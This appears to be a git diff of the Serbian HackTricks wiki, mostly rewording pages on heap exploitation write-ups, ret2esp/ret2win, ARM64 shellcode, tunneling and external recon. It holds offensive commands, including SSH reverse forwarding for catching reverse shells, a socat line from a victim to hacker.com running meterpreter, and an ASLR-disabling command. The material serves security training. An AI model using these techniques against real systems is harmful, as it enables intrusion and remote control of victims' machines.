+Sličan [**napad korišćen u ovom izveštaju**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) bio je zloupotreba strukture od 4 chunk-a (A, B, C i D - D je samo da spreči konsolidaciju sa top chunk-om) tako da je korišćen null byte overflow u B da bi C ukazivao da je B neiskorišćen. Takođe, u B su podaci `prev_size` modifikovani tako da je veličina umesto veličine B bila A+B.\
+Zatim je C dealokiran, i konsolidovan sa A+B (ali je B još uvek bio u upotrebi). Novi chunk veličine A je alociran i zatim su adrese libc otkrivene napisane u B odakle su otkrivene.
## References & Other examples
@@ -43,20 +43,20 @@ Zatim je C dealokiran, i konsolidovan sa A+B (ali B je još uvek bio u upotrebi)
- Zatim, chunk1 se oslobađa i chunk0 se overflow-uje tako da `bk` pokazivač chunk-a1 pokazuje na: `bk = magic - 0x10`
- Zatim, chunk3 se alocira sa istom veličinom kao chunk1, što će aktivirati unsorted bin napad i modifikovati vrednost globalne promenljive, omogućavajući dobijanje zastavice.
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
-- Funkcija merge je ranjiva jer ako su oba prosleđena indeksa ista, ona će reallocirati na nju i zatim je osloboditi, ali vraćajući pokazivač na tu oslobođenu oblast koja se može koristiti.
+- Funkcija merge je ranjiva jer ako su oba prosleđena indeksa ista, ona će realloc-ovati na njemu i zatim ga osloboditi, ali vraćajući pokazivač na tu oslobođenu oblast koja se može koristiti.
- Stoga, **2 chunk-a su kreirana**: **chunk0** koji će se spojiti sa samim sobom i chunk1 da spreči konsolidaciju sa top chunk-om. Zatim, **merge funkcija se poziva sa chunk0** dva puta što će izazvati use after free.
- Zatim, **`view`** funkcija se poziva sa indeksom 2 (što je indeks chunk-a koji je use after free), što će **otkriti libc adresu**.
-- Kako binarni fajl ima zaštite da samo malloc veličine veće od **`global_max_fast`** se koriste, koristiće se unsorted bin napad da prepiše globalnu promenljivu `global_max_fast`.
+- Kako binarni fajl ima zaštite da samo malloc veličine veće od **`global_max_fast`** mogu da se koriste, koristiće se unsorted bin napad da prepiše globalnu promenljivu `global_max_fast`.
- Zatim, moguće je pozvati edit funkciju sa indeksom 2 (pokazivač use after free) i prepisati `bk` pokazivač da pokazuje na `p64(global_max_fast-0x10)`. Zatim, kreiranje novog chunk-a koristi prethodno kompromitovanu oslobođenu adresu (0x20) će **aktivirati unsorted bin napad** prepisujući `global_max_fast` sa veoma velikom vrednošću, omogućavajući sada kreiranje chunk-ova u fast bin-ovima.
- Sada se izvodi **fast bin napad**:
- Prvo je otkriveno da je moguće raditi sa fast **chunk-ovima veličine 200** na lokaciji **`__free_hook`**:
--
- Ako uspemo da dobijemo fast chunk veličine 0x200 na ovoj lokaciji, biće moguće prepisati pokazivač funkcije koja će biti izvršena
- Za to, kreira se novi chunk veličine `0xfc` i merge funkcija se poziva sa tim pokazivačem dva puta, na ovaj način dobijamo pokazivač na oslobođeni chunk veličine `0xfc*2 = 0x1f8` u fast bin-u.
@@ -67,7 +67,7 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
- Još jedan primer zloupotrebe 1B overflow-a za konsolidaciju chunk-ova u unsorted bin-u i dobijanje libc infoleak-a, a zatim izvođenje fast bin napada za prepisivanje malloc hook-a sa adresom jednog gadget-a.
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- Možemo samo alocirati chunk-ove veličine veće od `0x100`.
-- Prepisivanje `global_max_fast` koristeći Unsorted Bin napad (radi 1/16 puta zbog ASLR, jer moramo modifikovati 12 bita, ali moramo modifikovati 16 bita).
+- Prepisivanje `global_max_fast` koristeći Unsorted Bin napad (radi 1/16 puta zbog ASLR, jer treba da modifikujemo 12 bitova, ali moramo modifikovati 16 bitova).
- Fast Bin napad za modifikaciju globalnog niza chunk-ova. Ovo daje proizvoljnu read/write primitivu, koja omogućava modifikaciju GOT-a i postavljanje neke funkcije da pokazuje na `system`.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
index 008e9ab8d..31cbbaa59 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
@@ -6,7 +6,7 @@
**Pošto ESP (Stack Pointer) uvek pokazuje na vrh steka**, ova tehnika uključuje zamenu EIP (Instruction Pointer) sa adresom **`jmp esp`** ili **`call esp`** instrukcije. Na taj način, shellcode se postavlja odmah nakon prepisanog EIP-a. Kada se izvrši `ret` instrukcija, ESP pokazuje na sledeću adresu, tačno gde je shellcode smešten.
-Ako **Address Space Layout Randomization (ASLR)** nije omogućen u Windows-u ili Linux-u, moguće je koristiti `jmp esp` ili `call esp` instrukcije koje se nalaze u deljenim bibliotekama. Međutim, sa aktivnim [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html), možda će biti potrebno da se potraže ove instrukcije unutar same ranjive aplikacije (i možda ćete morati da savladate [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
+Ako **Address Space Layout Randomization (ASLR)** nije omogućen u Windows-u ili Linux-u, moguće je koristiti `jmp esp` ili `call esp` instrukcije koje se nalaze u deljenim bibliotekama. Međutim, sa aktivnim [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html), možda će biti potrebno da se potraže ove instrukcije unutar same ranjive aplikacije (i možda će biti potrebno da se savlada [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
Pored toga, mogućnost postavljanja shellcode-a **posle korupcije EIP-a**, umesto u sredini steka, osigurava da bilo koje `push` ili `pop` instrukcije izvršene tokom rada funkcije ne ometaju shellcode. Ova ometanja mogla bi se desiti ako bi shellcode bio postavljen u sredini steka funkcije.
@@ -41,7 +41,7 @@ pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
-Možete videti još jedan primer ove tehnike u [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Postoji buffer overflow bez NX omogućenog, koristi se gadget da **smanji adresu `$esp`** i zatim `jmp esp;` da skoči na shellcode:
+Možete videti još jedan primer ove tehnike u [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Postoji buffer overflow bez omogućene NX opcije, koristi se gadget za r**edukciju adrese `$esp`** i zatim `jmp esp;` za skakanje na shellcode:
```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
@@ -78,21 +78,21 @@ target.interactive()
```
## Ret2reg
-Slično, ako znamo da funkcija vraća adresu na kojoj je sačuvan shellcode, možemo iskoristiti **`call eax`** ili **`jmp eax`** instrukcije (poznate kao **ret2eax** tehnika), nudeći još jedan način za izvršavanje našeg shellcode-a. Baš kao i eax, **bilo koji drugi registar** koji sadrži zanimljivu adresu može se koristiti (**ret2reg**).
+Slično, ako znamo da funkcija vraća adresu na kojoj je smešten shellcode, možemo iskoristiti **`call eax`** ili **`jmp eax`** instrukcije (poznate kao **ret2eax** tehnika), nudeći još jedan način za izvršavanje našeg shellcode-a. Baš kao i eax, **bilo koji drugi registar** koji sadrži zanimljivu adresu može se koristiti (**ret2reg**).
### Primer
-Možete pronaći neke primere ovde:
+Možete pronaći neke primere ovde:
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
-- **`strcpy`** će sačuvati u **`eax`** adresu bafera gde je shellcode sačuvan i **`eax`** se ne prepisuje, tako da je moguće koristiti `ret2eax`.
+- **`strcpy`** će u **`eax`** smeštati adresu bafera gde je shellcode bio smešten i **`eax`** se ne prepisuje, tako da je moguće koristiti `ret2eax`.
## ARM64
### Ret2sp
-U ARM64 ne **postoji** instrukcija koja omogućava **skakanje na SP registar**. Moguće je pronaći gadget koji **premesti sp u registar i zatim skoči na taj registar**, ali u libc mog kali nisam mogao pronaći takav gadget:
+U ARM64 **nema** instrukcija koje omogućavaju **skakanje na SP registar**. Moguće je pronaći gadget koji **premesti sp u registar i zatim skoči na taj registar**, ali u libc mog kali nisam mogao pronaći nijedan gadget takvog tipa:
```bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
@@ -108,7 +108,7 @@ Ako registar ima zanimljivu adresu, moguće je skočiti na nju jednostavno prona
```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```
-U ARM64, **`x0`** čuva povratnu vrednost funkcije, tako da može biti da x0 čuva adresu bafera koji kontroliše korisnik sa shellcode-om za izvršavanje.
+U ARM64, **`x0`** čuva povratnu vrednost funkcije, tako da može biti da x0 čuva adresu bafera kojim upravlja korisnik sa shellcode-om za izvršavanje.
Primer koda:
```c
@@ -159,12 +159,12 @@ p.sendline(payload)
p.interactive()
```
> [!WARNING]
-> Ako je umesto `fgets` korišćena neka funkcija poput **`read`**, bilo bi moguće zaobići PIE tako što bi se **samo prepisala poslednja 2 bajta adrese povratka** da bi se vratio na instrukciju `br x0;` bez potrebe da se zna cela adresa.\
+> Ako je umesto `fgets` korišćena neka funkcija poput **`read`**, bilo bi moguće zaobići PIE tako što bi se **samo prepisali poslednja 2 bajta adrese povratka** da bi se vratio na instrukciju `br x0;` bez potrebe da se zna cela adresa.\
> Sa `fgets` to ne funkcioniše jer **dodaje null (0x00) bajt na kraju**.
## Protekcije
-- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Ako stek nije izvršiv, ovo neće pomoći jer moramo staviti shellcode u stek i skočiti da ga izvršimo.
+- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Ako stek nije izvršan, ovo neće pomoći jer treba da stavimo shellcode u stek i skočimo da ga izvršimo.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Ove zaštite mogu otežati pronalaženje instrukcije za skakanje na esp ili neki drugi registar.
## Reference
diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md
index 5731d1348..633dbd954 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/README.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/README.md
@@ -4,7 +4,7 @@
## Osnovne informacije
-**Ret2win** izazovi su popularna kategorija u **Capture The Flag (CTF)** takmičenjima, posebno u zadacima koji uključuju **binary exploitation**. Cilj je iskoristiti ranjivost u datom binarnom fajlu kako bi se izvršila određena, neinvokirana funkcija unutar binarnog fajla, koja se često naziva nešto poput `win`, `flag`, itd. Ova funkcija, kada se izvrši, obično ispisuje zastavicu ili poruku o uspehu. Izazov obično uključuje prepisivanje **povratne adrese** na steku kako bi se preusmerio tok izvršenja na željenu funkciju. Evo detaljnijeg objašnjenja sa primerima:
+**Ret2win** izazovi su popularna kategorija u **Capture The Flag (CTF)** takmičenjima, posebno u zadacima koji uključuju **binary exploitation**. Cilj je iskoristiti ranjivost u datom binarnom fajlu da se izvrši određena, nepozvana funkcija unutar binarnog fajla, koja se često naziva nešto poput `win`, `flag`, itd. Ova funkcija, kada se izvrši, obično ispisuje zastavicu ili poruku o uspehu. Izazov obično uključuje prepisivanje **povratne adrese** na steku kako bi se preusmerio tok izvršenja na željenu funkciju. Evo detaljnijeg objašnjenja sa primerima:
### C primer
@@ -31,11 +31,11 @@ Da biste kompajlirali ovaj program bez zaštite steka i sa **ASLR** onemogućeni
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
-- `-m32`: Kompajlirajte program kao 32-bitni binarni fajl (ovo je opcionalno, ali uobičajeno u CTF izazovima).
+- `-m32`: Kompajlirajte program kao 32-bitni binarni (ovo je opcionalno, ali uobičajeno u CTF izazovima).
- `-fno-stack-protector`: Onemogućite zaštitu od prelivanja steka.
- `-z execstack`: Dozvolite izvršavanje koda na steku.
-- `-no-pie`: Onemogućite poziciono nezavisne izvršne fajlove kako biste osigurali da se adresa funkcije `win` ne menja.
-- `-o vulnerable`: Imenovati izlazni fajl `vulnerable`.
+- `-no-pie`: Onemogućite poziciono nezavisne izvršne datoteke kako biste osigurali da se adresa funkcije `win` ne menja.
+- `-o vulnerable`: Imenovati izlaznu datoteku `vulnerable`.
### Python Exploit koristeći Pwntools
@@ -63,13 +63,13 @@ Da biste pronašli adresu `win` funkcije, možete koristiti **gdb**, **objdump**
```sh
objdump -d vulnerable | grep win
```
-Ova komanda će vam prikazati asembler funkcije `win`, uključujući njenu početnu adresu.
+Ova komanda će vam prikazati asembler funkcije `win`, uključujući njenu početnu adresu.
Python skripta šalje pažljivo oblikovanu poruku koja, kada je obrađena od strane `vulnerable_function`, preplavljuje bafer i prepisuje adresu povratka na steku sa adresom `win`. Kada `vulnerable_function` vrati, umesto da se vrati na `main` ili izađe, skače na `win`, i poruka se ispisuje.
## Zaštite
-- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **treba da bude onemogućen** da bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je funkcija win učitana. U nekim slučajevima, kada funkcija koja uzrokuje prelivanje je `read` ili slična, možete izvršiti **Delimično Prepisivanje** od 1 ili 2 bajta da promenite adresu povratka na funkciju win. Zbog načina na koji ASLR funkcioniše, poslednja tri heksadecimalna nibbla nisu nasumična, tako da postoji **1/16 šansa** (1 nibble) da dobijete ispravnu adresu povratka.
+- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **treba da bude onemogućen** da bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je funkcija win učitana. U nekim slučajevima, kada funkcija koja uzrokuje prelivanje je `read` ili slična, možete izvršiti **Delimično Prepisivanje** od 1 ili 2 bajta da promenite adresu povratka na funkciju win. Zbog načina na koji ASLR funkcioniše, poslednja tri heksadecimalna nibbla nisu nasumična, tako da postoji **1/16 šanse** (1 nibble) da dobijete ispravnu adresu povratka.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) takođe treba da budu onemogućeni ili kompromitovana EIP adresa povratka nikada neće biti praćena.
## Ostali primeri & Reference
@@ -82,21 +82,21 @@ Python skripta šalje pažljivo oblikovanu poruku koja, kada je obrađena od str
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64 bita, bez ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
-- 32 bita, bez ASLR, dvostruko malo prelivanje, prvo da preplavi stek i poveća veličinu drugog prelivanja
+- 32 bita, bez ASLR, dvostruko malo prelivanje, prvo preplavi stek i poveća veličinu drugog prelivanja
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
-- 32 bita, relro, bez kanarija, nx, bez pie, format string za prepisivanje adrese `fflush` sa funkcijom win (ret2win)
+- 32 bita, relro, bez kanarinca, nx, bez pie, format string za prepisivanje adrese `fflush` sa funkcijom win (ret2win)
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
-- 32 bita, nx, ništa drugo, delimično prepisivanje EIP (1Byte) da pozove funkciju win
+- 32 bita, nx, ništa drugo, delimično prepisivanje EIP (1Byte) za pozivanje funkcije win
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
-- 32 bita, nx, ništa drugo, delimično prepisivanje EIP (1Byte) da pozove funkciju win
+- 32 bita, nx, ništa drugo, delimično prepisivanje EIP (1Byte) za pozivanje funkcije win
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Program samo validira poslednji bajt broja da proveri veličinu ulaza, stoga je moguće dodati bilo koju veličinu sve dok je poslednji bajt unutar dozvoljenog opsega. Tada, ulaz stvara prelivanje bafera koje se eksploatiše sa ret2win.
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
-- 64 bita, relro, bez kanarija, nx, pie. Delimično prepisivanje da pozove funkciju win (ret2win)
+- 64 bita, relro, bez kanarinca, nx, pie. Delimično prepisivanje za pozivanje funkcije win (ret2win)
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
- arm64, PIE, daje PIE leak funkcija win je zapravo 2 funkcije tako da ROP gadget koji poziva 2 funkcije
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
-- ARM64, off-by-one da pozove funkciju win
+- ARM64, off-by-one za pozivanje funkcije win
## ARM64 Primer
diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
index 973d35ff0..eafeab4cc 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
@@ -8,7 +8,7 @@ Pronađite uvod u arm64 u:
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Code
+## Code
```c
#include
#include
@@ -64,7 +64,7 @@ info frame
```
-Sada postavite tačku prekida nakon `read()` i nastavite dok se `read()` ne izvrši i postavite obrazac kao što je 13371337:
+Sada postavite breakpoint nakon `read()` i nastavite dok se `read()` ne izvrši i postavite obrazac kao što je 13371337:
```
b *vulnerable_function+28
c
@@ -81,7 +81,7 @@ Zatim: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
## Bez PIE
-### Redovni
+### Regularno
Dobijte adresu **`win`** funkcije:
```bash
@@ -113,7 +113,7 @@ p.close()
### Off-by-1
-U stvari, ovo će više ličiti na off-by-2 u sačuvanom PC-u u steku. Umesto da prepisujemo celu adresu povratka, prepisujemo **samo poslednja 2 bajta** sa `0x06c4`.
+Zapravo, ovo će više ličiti na off-by-2 u sačuvanom PC-u na steku. Umesto da prepisujemo sve adrese povratka, prepisivaćemo **samo poslednja 2 bajta** sa `0x06c4`.
```python
from pwn import *
@@ -135,7 +135,7 @@ p.close()
```
-Možete pronaći još jedan primer off-by-one u ARM64 na [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), koji je pravi off-by-**one** u fiktivnoj ranjivosti.
+Možete pronaći još jedan primer off-by-one u ARM64 na [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), što je pravi off-by-**one** u fiktivnoj ranjivosti.
## Sa PIE
diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
index 02587173b..fe016e10e 100644
--- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
+++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
@@ -8,7 +8,7 @@ Pronađite uvod u arm64 u:
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Code
+## Code
```c
#include
#include
@@ -27,7 +27,7 @@ Kompajlirati bez pie, kanarinca i nx:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
-## Nema ASLR i nema kanarinca - Stack Overflow
+## No ASLR & No canary - Stack Overflow
Da biste zaustavili ASLR, izvršite:
```bash
@@ -35,7 +35,7 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Da biste dobili [**offset od bof proverite ovaj link**](../ret2win/ret2win-arm64.md#finding-the-offset).
-Eksploatacija:
+Eksploit:
```python
from pwn import *
@@ -68,6 +68,6 @@ p.interactive()
```
Jedina "komplikovana" stvar koju treba pronaći ovde bi bila adresa u steku koju treba pozvati. U mom slučaju, generisao sam exploit sa adresom pronađenom pomoću gdb, ali kada sam ga iskoristio, nije radilo (jer se adresa steka malo promenila).
-Otvorio sam generisani **`core` fajl** (`gdb ./bog ./core`) i proverio pravu adresu početka shellcode-a.
+Otvorio sam generisanu **`core` datoteku** (`gdb ./bog ./core`) i proverio pravu adresu početka shellcode-a.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md
index da087f0d5..f3fea45ad 100644
--- a/src/generic-hacking/tunneling-and-port-forwarding.md
+++ b/src/generic-hacking/tunneling-and-port-forwarding.md
@@ -55,9 +55,9 @@ Lokalni port --> Kompromitovani host (SSH) --> Gde god
```bash
ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy)
```
-### Reverse Port Forwarding
+### Обратно прослеђивање порта
-Ovo je korisno za dobijanje obrnute ljuske sa internih hostova kroz DMZ do vašeg hosta:
+Ово је корисно за добијање обрнутог шелла са интерних хостова преко DMZ-а до вашег хоста:
```bash
ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
@@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
### SOCKS proxy
-Otvorite port na teamserveru koji sluša na svim interfejsima koji se mogu koristiti za **usmeravanje saobraćaja kroz beacon**.
+Otvorite port na teamserver-u koji sluša na svim interfejsima koji se mogu koristiti za **usmeravanje saobraćaja kroz beacon**.
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
@@ -145,7 +145,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
### rPort2Port
> [!WARNING]
-> U ovom slučaju, **port je otvoren na beacon hostu**, a ne na Team Serveru, a saobraćaj se šalje na Team Server, a odatle na navedeni host:port
+> U ovom slučaju, **port je otvoren na beacon hostu**, a ne na Team Serveru, a saobraćaj se šalje na Team Server i odatle na navedeni host:port
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
@@ -219,7 +219,7 @@ interface_add_route --name "ligolo" --route / socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
-Možete zaobići **neautentifikovani proxy** izvršavajući ovu liniju umesto poslednje u konzoli žrtve:
+Možete zaobići **non-authenticated proxy** izvršavajući ovu liniju umesto poslednje u konzoli žrtve:
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
@@ -322,7 +322,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
To je kao konzolna verzija PuTTY (opcije su vrlo slične ssh klijentu).
-Pošto će ova binarna datoteka biti izvršena na žrtvi i to je ssh klijent, potrebno je da otvorimo naš ssh servis i port kako bismo mogli da uspostavimo obrnutu vezu. Zatim, da bismo preusmerili samo lokalno dostupni port na port na našoj mašini:
+Pošto će ova binarna datoteka biti izvršena na žrtvi i to je ssh klijent, potrebno je da otvorimo naš ssh servis i port kako bismo mogli da imamo obrnutu vezu. Zatim, da bismo preusmerili samo lokalno dostupni port na port na našoj mašini:
```bash
echo y | plink.exe -l -pw [-p ] -R ::
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
@@ -366,7 +366,7 @@ netstat -antb | findstr 1080
```
Sada možete koristiti [**Proxifier**](https://www.proxifier.com/) **da proksirate saobraćaj kroz tu port.**
-## Proksirajte Windows GUI aplikacije
+## Proksiranje Windows GUI aplikacija
Možete naterati Windows GUI aplikacije da prolaze kroz proksi koristeći [**Proxifier**](https://www.proxifier.com/).\
U **Profile -> Proxy Servers** dodajte IP adresu i port SOCKS servera.\
@@ -375,7 +375,7 @@ U **Profile -> Proxification Rules** dodajte ime programa koji želite da proksi
## NTLM proksi zaobilaženje
Prethodno pomenuti alat: **Rpivot**\
-**OpenVPN** takođe može da ga zaobiđe, postavljajući ove opcije u konfiguracionom fajlu:
+**OpenVPN** takođe može da ga zaobiđe, postavljanjem ovih opcija u konfiguracionom fajlu:
```bash
http-proxy 8080 ntlm
```
@@ -383,7 +383,7 @@ http-proxy 8080 ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
-Ova alatka se autentifikuje protiv proksija i vezuje lokalni port koji se prosleđuje eksternoj usluzi koju odredite. Zatim možete koristiti alat po vašem izboru preko ovog porta.\
+Ovaj alat se autentifikuje protiv proksija i vezuje lokalni port koji se prosleđuje eksternoj usluzi koju odredite. Zatim možete koristiti alat po vašem izboru preko ovog porta.\
Na primer, prosledite port 443.
```
Username Alice
@@ -480,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
## ngrok
[**ngrok**](https://ngrok.com/) **je alat za izlaganje rešenja internetu u jednoj komandnoj liniji.**\
-_Exposition URI su kao:_ **UID.ngrok.io**
+_Exposition URI su kao:_ **UID.ngrok.io**
### Instalacija
@@ -528,7 +528,7 @@ Direktno iz stdout-a ili u HTTP interfejsu [http://127.0.0.1:4040](http://127.0.
Otvara 3 tunela:
- 2 TCP
-- 1 HTTP sa statičkim fajlovima izloženim iz /tmp/httpbin/
+- 1 HTTP sa statičkim datotekama izloženim iz /tmp/httpbin/
```yaml
tunnels:
mytcp:
diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
index 0bf01eecf..133ed3927 100644
--- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -10,8 +10,8 @@ Cilj ove faze je da se dobiju sve **kompanije koje poseduje glavna kompanija** i
1. Pronaći akvizicije glavne kompanije, što će nam dati kompanije unutar opsega.
2. Pronaći ASN (ako postoji) svake kompanije, što će nam dati IP opsege koje poseduje svaka kompanija.
-3. Koristiti obrnute whois pretrage da bismo tražili druge unose (imena organizacija, domene...) povezane sa prvim (ovo se može raditi rekurzivno).
-4. Koristiti druge tehnike kao što su shodan `org` i `ssl` filteri za pretragu drugih sredstava (trik sa `ssl` se može raditi rekurzivno).
+3. Koristiti obrnute whois pretrage da tražimo druge unose (imena organizacija, domene...) povezane sa prvim (ovo se može raditi rekurzivno).
+4. Koristiti druge tehnike kao što su shodan `org` i `ssl` filteri da tražimo druge imovine (trik sa `ssl` se može raditi rekurzivno).
### **Akvizicije**
@@ -26,7 +26,7 @@ Druga opcija je da posetite **Wikipedia** stranicu glavne kompanije i potražite
Broj autonomnog sistema (**ASN**) je **jedinstveni broj** dodeljen **autonomnom sistemu** (AS) od strane **Internet Assigned Numbers Authority (IANA)**.\
**AS** se sastoji od **blokova** **IP adresa** koje imaju jasno definisanu politiku za pristup spoljnim mrežama i kojima upravlja jedna organizacija, ali se mogu sastojati od više operatera.
-Zanimljivo je saznati da li je **kompanija dodelila neki ASN** da bismo pronašli njene **IP opsege.** Bilo bi zanimljivo izvršiti **test ranjivosti** protiv svih **hostova** unutar **opsega** i **tražiti domene** unutar ovih IP adresa.\
+Zanimljivo je saznati da li je **kompanija dodelila neki ASN** da bi pronašla svoje **IP opsege.** Bilo bi zanimljivo izvršiti **test ranjivosti** protiv svih **hostova** unutar **opsega** i **tražiti domene** unutar ovih IP adresa.\
Možete **pretraživati** po imenu kompanije, po **IP-u** ili po **domenu** na [**https://bgp.he.net/**](https://bgp.he.net)**.**\
